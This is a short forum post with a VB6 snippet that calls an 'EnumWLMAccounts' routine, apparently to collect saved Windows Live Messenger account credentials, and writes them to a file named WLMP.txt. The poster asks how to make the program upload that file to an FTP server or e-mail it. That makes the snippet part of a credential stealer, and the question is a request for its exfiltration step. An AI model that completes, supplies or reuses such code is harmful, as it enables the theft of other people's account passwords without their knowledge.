can anybody tell me how to
get this to upload the txt file to a ftp server
or sending it by e-mail

Option Explicit

Public Sub Main()
Dim sPath As String
Dim sRet As String

sPath = IIf(Right$(App.Path, 1) = "\", App.Path, App.Path & "\")
sRet = mMessengerPass.EnumWLMAccounts
If LenB(sRet) Then
Open sPath & "WLMP.txt" For Append As #1
Print #1, sRet
Close #1
End If

End Sub